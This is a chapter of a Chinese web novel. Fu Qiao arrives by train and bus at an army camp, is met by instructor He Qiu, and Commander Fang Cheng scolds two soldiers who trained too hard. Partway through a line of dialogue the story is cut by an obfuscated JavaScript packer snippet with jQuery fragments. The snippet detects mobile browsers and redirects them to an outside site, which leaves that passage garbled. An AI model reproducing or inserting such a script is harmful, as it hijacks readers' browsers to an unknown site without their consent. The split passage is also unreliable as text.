呜!
“旅客们请注意!旅客们请注意!由苏城开往陵州方向的257次列车马上就要发车了。请送亲友的同志抓紧时间下车,携带好随身物品,注意安全!列车启动,请站稳扶好!”
橄榄绿色的铁皮巨物在这一声洪亮悠远的汽笛长鸣中缓缓启动。
城市的混凝土森林在快速消退,接替出现的,是窗外一望无际的稻田。
七月的稻苗浓翠欲滴,每当有风拂过,绿色的稻浪便随之起起伏伏。纵然正值晌午,烈日当空,也偶尔零散可见戴着草帽的农民正弯腰在田间地头劳作。
傅俏趴在窗边,全神贯注地欣赏着窗外的景色。
明媚的阳光洒在少女的脸颊上,连茸茸的细绒毛都照得分明,金灿灿的光芒融在她黑白分明的眼瞳中,映衬出其中的喜悦。
马明远翻了翻手里的报纸,眼角余光瞄过,不禁也有一瞬恍惚。
这么多天来,只有现在,傅俏才瞧着真正是个与她年纪相符的小姑娘。
“等会儿车就要到站了,有人来接你吗?”他不经意问道。
“没有。”她的注意力仍在窗外,大喇喇道:“我自己过去。”
他不由得语塞,略一沉吟,还是选择掏出随身携带的纸笔,唰唰写下了什么。
“旅客朋友们请注意!旅客朋友们请注意!本次列车即将到达陵州车站,请下车的旅客提前整理好自己的行李物品,做好下车准备……”
早早减速的火车缓缓停稳,轰然一声气声之后,各节车厢的车门齐齐打开,旅客们鱼贯而出,如潮水般席卷了整个月台。
人声鼎沸中,马明远将提包交给了傅俏。
“祝你一切顺利。”
他的眸光暗了暗,又递给了她一张折好的纸条,“我的联系方式。虽然之前给过你一次,但不知道你收拾行李的时候有没有带上。”
眼前头戴盆帽的小姑娘,看着似乎与人群有些格格不入。
“如果真的遇上麻烦,记得找我。”
傅俏似乎有些吃惊,接过纸条展开看了一眼,随后便郑重地收到了口袋里。
马明远刚松口气,少女却忽然上前一步,轻抱了抱他。
他没有任何准备,只觉好似一阵清风拂过,浑身募地一僵,干净的皂角粉香气在鼻尖稍纵即逝。
“谢谢你,明远哥。”她说道。
跟随着人流走出车站,傍晚时分的余晖洒在开阔的广场上,连晚风都变得含情脉脉。
夕阳无限好,只是近黄昏。
傅俏必须在天黑之前赶到方承所给的驻地地址,否则等天色全暗,独自在这么个人生地不熟的陌生城市,配上这九十年代的交通条件,饶是再胆大的人也会觉得不安。
公交车转了一趟又一趟,路问了一遍又一遍,车辆行驶的方向越来越荒凉,人烟渐稀,城市已至边缘。
蓝白涂装的小巴客车改成的公交车摇摇晃晃地在一块锈迹斑斑的绿色站牌杆子前停下,四下里目之所及,一片旷野。
车上只剩下了傅俏,司机打开车门,好心地专程扭头对她说道:“小姑娘,这里就是终点站了。你要去一零六团啊,还得走过前面这个农场。”
“诶,谢谢您指路,叔叔再见。”
她笑着同司机道了别,看着车辆在轮胎卷起的烟尘中园远去。天边一轮残阳如血,周围除了呼呼吹过的热风,什么别的动静也没有。
“走吧。”
傅俏看着眼前唯一一条被人踏出来的“路”,默默对自己说道。
许是前世太过便利的交通条件早已让人不适应长途跋涉,也可能是身体还未完全复原,尚还吃不消这么高强度的颠簸。尽管她一刻也不敢松懈,没有停下过脚步,紧赶慢赶,抵达目的地的时候,也已是满天星斗。
黑夜中看不清驻地的模样,唯有肃穆的大门前亮着两盏大灯,将院门中央处的军徽照得分外清楚。灯下分列着一动不动的岗哨人员,三者形成了一个坚固的三角形状,凛然不容侵犯的威严感顿时扑面而来。
傅俏下意识地在原地站定,理了理头发着装,又刻意压了压帽子,确认将伤口遮住。
离门口还有十步远时,哨兵便向她抬手示意警告,年轻的嗓音铿锵有力。
“站住!军事禁区,禁止靠近!”
傅俏立刻停下,朗声答道:“同志,您好,我是来找人的。”
“找谁?有介绍信或证件吗?”哨兵眼神里的警惕犹如实质。
“我找一零六团一营三连的方承,方连长。”
傅俏在说出这个名字时,哨兵的神情忽地浮现出一丝极其微妙的变化。
“请问您的姓名?和方连长是什么关系?是否有预约?”他继续追问道。
“我叫傅俏,从苏城来。嗯…和方连长有提前通过电话,是认识的。”
哨兵再次仔细观察了眼前的小姑娘,她显然是赶了很久的路,乱糟糟的疲惫不堪,夜灯将孤零零的影子拉得很长,显得尤为可怜。
他略一思忖,说道:“请在此稍等,不要越过警戒线,我需要打电话确认一下。”
等待,等待,还是等待。
傅俏并不担心自己会被始终晾在营地之外。既然人已经到了这里,除非方承告诉她的是个假地址,否则就算他方连长不管,也总会有别人来管。她不相信,方振邦在部队的消息来源会仅限于他儿子。
身体的疲劳已经超越了对体面的追求,她太累了,索性挑了个不近不远的地方席地而坐。
现在没有手机可供消遣,逃离出前世信息量爆炸的互联网笼罩,等待就变成了一件特别具象化的事件。
傅俏在道边不知坐了多久,紧绷的神经在安全静谧的环境中慢慢松弛,白日积攒下的疲惫顿时席卷而来,困倦拖拽着眼皮,视线也变得模糊。
“同志?同志?”
半梦半醒间,一只大手忽然拍上了她的肩头,属于成熟男性的嗓音传入耳中,有人正在轻声唤她。
“啊?!”
她像是在睡梦中意识到了什么,猛然惊醒,倏地抬起头,懵懵懂懂地望着眼前人。
只见他一袭军绿色翻领外套,深色领带,身形高挑,约莫二十七八岁的模样,正疑惑地看着自己。
“小姑娘,你怎么在这里睡觉?”
傅俏心里紧张,霍然站了起来,不料眼前倏地一黑,身体顿时软绵绵地失了重心,猛地朝前跌去。
“诶诶诶!小心小心!”
赵英眼疾手快地拽住了险些一头栽在自己身上的少女,将人扶稳之后,又帮忙拾回了方才慌乱中掉落的盆帽。
“给。”
傅俏始终低着头,看也没看一眼,手忙脚乱地将帽子扣回了头上。
“谢谢您。不好意思,给您添麻烦了。”
她的脸颊泛起红晕,似是有些难为情。
赵英爽朗一笑,“没事。你怎么一个人睡在这里啊?来找谁啊?”
“我……”
傅俏迟疑着要不要说。
“老赵?”
忽然另一道声音打断了她的思绪。
来人穿着与赵英一模一样的夏常服,鼻梁上架着一副无框眼睛,看起来文质彬彬,十分随和。
“诶?老贺,你怎么…哦!这小丫头是来找你的啊?”
贺逑笑着点点头,算是默认,从口袋里摸出根红塔山递了过去,“六连长,刚才有点事,出来得晚了。谢谢你帮忙照看。”
“不用不用。”赵英挡回了递烟,大喇喇道:“我也才回来,多事瞅一眼而已。你这么客气,见外了啊。”
“行行。”贺逑将烟收回。
赵英道:“成,你俩聚。我先回连里了,有空打球啊。”
他说着又向傅俏摆摆手道别,“小妹,以后等人可不能睡着了,万一碰上坏人就糟了。”
她点点头。
目送着赵英的背影渐行渐远,贺逑开口道:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16464560|185468||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你就是小傅姑娘吧?我是三连的指导员贺逑,连里有些事情还需要连长处理。他走不开,就拜托我来接你。”
“我是傅俏。”
她下意识地拍了拍身上的尘土,道歉道:“不好意思,我…我也不知道怎么就睡着了…”
贺逑的语气愈加温和,“没有。一路奔波肯定累坏了。是我们招待不周,让你等了这么久。”
说话间,他不着痕迹地快速打量了一下傅俏。
少女的身量颀长,眉如远山,眼若秋水,眉眼盈盈间,似乎还笼罩着一丝若有若无的愁绪。
嗯,非要形容的话,倒确有几分“林妹妹”的意思。
就是不知道方承这位“宝二爷”,会不会“一见如故”了。
连部,会议室。
杯里的茶水早已凉透,方承穿着作训服,环抱着双臂,黑着脸看着眼前两人。
“可以啊,挺能耐啊?”
他的声音不高,“合着部队的条例条令在你们眼里就是一纸空文?全连就你俩积极份子?”
面前站成一排的两个兵,明明都是连里尖子,平日里张牙舞爪的货色,此时却像霜打的茄子,低着头不敢吭声。
“王为民!”方承点名。
“到!”一个身材壮实、皮肤黝黑的兵猛地抬头挺胸。
“你怎么想的?大中午的练习四百米障碍,中暑了倒在壕沟里。万幸让稽查及时发现送到卫生队急救。咱们营区有这待遇的,你还是头一份,光荣啊。”
王为民一张黑脸涨得发紫,嘴唇嗫嚅了两下,最终还是没出声。
“顾勇!”
“到!”另一个兵应声,小腿肌肉还在不自觉地微微抽搐。
“武装越野回来,自己又偷偷加绑了五公斤沙袋,跑到小腿抽筋让你们班长背回来的,是不是?觉得很光彩吗?”
顾勇脖子一梗,想辩解什么,最终也只是憋出一句:“连长,我……我就是想再突破一下……”
“突破?你突破进卫生队吧你!”
方承一拍桌子站起,“争强好胜也要讲个原则!身体是革命的本钱,平时没强调过吗?现在距离集团军大比武没俩月了,你们要是练废了胳膊练瘸了腿,到时候是打算上去当啦啦队,还是在场边维持秩序?”
两个兵互相偷偷瞄了一眼,谁都不吱声。
他看着这俩人挨着骂还这里“眉目传情”,火气更是蹭蹭往上冒。
“三连的荣誉,不是靠这种蛮干拼来的!训练要科学,要讲方法,你们这么瞎搞,不是刻苦,是愚蠢,是对连队不负责任。更是对你们自己的身体更不负责任,知道吗?!”
“连长,我们知道错了……”王为民小声道。
“知道个鬼!”
方承不用看就知道他们不服气,也不多说什么,直接宣布了处罚措施,“从今天起,你们两个,训练全部减半。王为季,器械训练暂停三天,去卫生队做理疗。顾大勇,沙袋没收,一周内不许碰负重。”
“连长!”两人同时急了。
“连长什么?刚才不是还说知错了?”
他横了两人一眼,“犯错就要惩罚。现在就滚回去睡觉!要是再让我发现谁偷偷加练,一班二班就跟着你们一起减半!”
“是!”
两人大声应道,齐刷刷地立正回礼后离开。
大门合上,方承揉了揉眉心,重新坐回椅子。
士兵们有上进心是好事,在部队里私下里加餐训练也常有的,但这个度量却难以把握。三连的这些个兵,都是他一个个带出来的心血结晶,个顶个的精兵尖子,也是多少家庭的宝贝。送进了部队,要是非战斗原因造成损伤,他实在没法原谅自己,也没办法向他们的家里交待。
咚咚咚!
消停了没两分钟,又是一阵急促的敲门声。
方承顿时火冒三丈,冲着门口吼道:“谁?”
“是我。”贺逑道:“人接回来了。”